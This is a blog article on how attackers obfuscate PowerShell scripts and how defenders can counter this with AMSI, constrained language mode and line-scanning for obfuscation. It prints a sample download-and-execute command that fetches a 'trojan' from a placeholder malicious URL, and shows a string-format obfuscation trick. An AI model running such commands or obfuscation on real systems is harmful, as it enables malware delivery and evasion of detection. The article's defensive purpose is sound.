PowerShell script obfuscation: Fight back against this growing threat

In recent years, PowerShell has quickly become a go-to tool for hackers and malware authors. Although there are countless other tools that can be used to attack a system, PowerShell has one distinct advantage over most of the alternatives for those who have bad intent. Because PowerShell is a native component of the Windows operating system, a malicious PowerShell script is less likely to be detected than some of the other tools that the bad guys use. Although PowerShell can be an effective scripting tool for hackers, there is at least one big problem with its use. PowerShell scripts include commands that are displayed in clear text. This means that the intended victim can easily review a script’s contents before running the script. After all, most people probably aren’t going to run a script containing a command such as:

Invoke-Expression (New-Object Net.WebClient).DownloadString(http://<malicious URL.com>/evil-trojan)

That being the case, those who use PowerShell for malicious purposes have increasingly begun using script obfuscation techniques as a way of hiding the script’s commands.

On the surface, the idea of using script obfuscation to conceal malicious commands may sound really complex, but the basic idea behind these techniques is actually quite simple. The goal behind PowerShell script obfuscation isn’t to somehow make malicious commands invisible so that they evade detection, but rather to write the commands in a way that makes them very difficult to understand.

A simple example

Let me give you a really simple example. As I’m sure you probably know, PowerShell cmdlets are made up of verb-noun combinations. The command that I mentioned earlier, for example, uses the verb Invoke with the noun Expression. If you want to run the Invoke-Expression cmdlet, however, you don’t actually have to type Invoke-Expression. Microsoft provides aliases for many of the native PowerShell cmdlets. Aliases are simply cmdlet shortcuts. The alias for Invoke-Expression for example, is iex.

A PowerShell script that replaces long form cmdlets with aliases might be considered to be slightly obfuscated, because the aliases make the script more difficult to comprehend. If someone is not familiar with the aliases used, they would have to look up those aliases to figure out what the script does.

Of course the use of aliases will only do so much. Even if the previously mentioned command were rewritten to use an alias, it would still be easy to tell that the command is designed to download a malicious file. As such, most PowerShell obfuscation techniques work by using string manipulation techniques. The idea is to imbed a command in a string, and then use various manipulation techniques to render the string almost unreadable. The New-Object cmdlet for example, could be rewritten as: &(‘{1}{0}’-f’bject’,New-O’}.

Someone who is not well-versed in PowerShell would probably have a tough time figuring out exactly what that particular string means. Keep in mind that this is only one example of an obfuscation technique. There are many other ways to obfuscate PowerShell cmdlets. In fact, there is a tool available on GitHub called Invoke-Obfuscation. The tool’s job is to take a text string and show you various ways to obfuscate it.

Fighting back against PowerShell script obfuscation

So now that I have explained what script obfuscation is, and why it is used, the bigger question is how can you defend against these techniques? The most obvious answer to this question is that you should avoid running any script that has not been proven to be trustworthy. However, there are some other things that you can also do.

First and foremost, be sure to leave Windows Defender enabled. Windows 10 has a built-in feature called the Windows Antimalware Scan Interface, or AMSI. This interface is integrated into PowerShell as well as the Windows Script Host, JavaScript, VMScript, User Account Control, and Office VBA macros. This allows Windows to detect malicious code found within a PowerShell script.

To show you how this works, I pasted some potentially malicious PowerShell code into Notepad. As soon as I clicked the Save icon, immediately received Windows Defender warnings, as shown in the figure below.


It’s possible that heavily obfuscated code could slip past the antimalware engine, but in my own tests I have found it to be very effective at detecting malicious code.

Another thing that you can do is to enable constrained language mode. The basic idea behind using PowerShell’s constrained language mode is that you can make it so that PowerShell is able to run all the usual cmdlets, but is not able to leverage the .NET framework or external APIs. If other words, using constrained language mode can greatly limit the effectiveness of a malicious script.
I recently wrote a full-length article about how to use PowerShell’s constrained language mode, but I will go ahead and show you how to turn it on. You can enable constrained language mode by entering this command:

$ExecutionContext.SessionState.LanguageMode = “ConstrainedLanguage”

You can turn constrained language mode back off by using this command:

$ExecutionContext.SessionState.LanguageMode = “FullLanguage”

Not always easy to catch

A good rule of thumb is that if a PowerShell script includes commands that are heavily obfuscated, then that script should be considered to be malicious. Most people who develop legitimate code do not heavily obfuscate their commands. PowerShell script obfuscation is only used when the author has something to hide.

Unfortunately, deciding whether or not to run a script might not always be a matter of taking a quick look at the script’s code. I have personally seen PowerShell scripts that include thousands of lines of code. It would be completely impractical to scrutinize every single line in such a script.

Even so, there is something that you can do. If you happen to download a lot of PowerShell scripts from the Internet, then it may be worth your time to build your own script that scans each line of a downloaded script, looking for obfuscation. As previously noted, obfuscation comes in many different forms, but such a script could detect potential obfuscation by looking for an excessive number of brackets, apostrophes, or quotation marks within a line of code.

Featured image: Shutterstock / TechGenix illustration

Brien Posey

Brien Posey is a freelance technology author and speaker with over two decades of IT experience. Prior to going freelance, Brien was a CIO for a national chain of hospitals and healthcare facilities. He has also served as a network engineer for the United States Department of Defense at Fort Knox. In addition, Brien has worked as a network administrator for some of the largest insurance companies in America. To date, Brien has received Microsoft’s MVP award numerous times in categories including Windows Server, IIS, Exchange Server, and File Systems / Storage. You can visit Brien’s Website at: www.brienposey.com.

Share
Published by
Brien Posey

Recent Posts

User-friendly web design tools for a user-friendly website

If you want your business to succeed these days, you need a user-friendly website. Put these tools in your toolbox…

10 hours ago

New kids vs. old reliable: Can chat apps replace email?

Do businesses rely too heavily on email for communication? Yes! Is the answer to replace email with chat apps? No!…

14 hours ago

PowerShell function to standardize message box script outputs

If you got your start with Visual Basic, you remember msgbox. This PowerShell function will bring back memories and help…

17 hours ago

Microsoft Ignite 2019: Top announcements and product unveilings

Microsoft Ignite 2019 included a slew of updates on products and services. Among the announcements was Azure Arc, which may…

1 day ago

Who says configuration management can’t be fun?

Managing change in an enterprise isn’t easy and it’s usually no fun. Here’s a book on configuration management that will…

2 days ago

Choosing the right communication tools for your business

Choosing communication tools is like choosing a first progamming language. While you want easy, you also want cross-platform, security, and…

2 days ago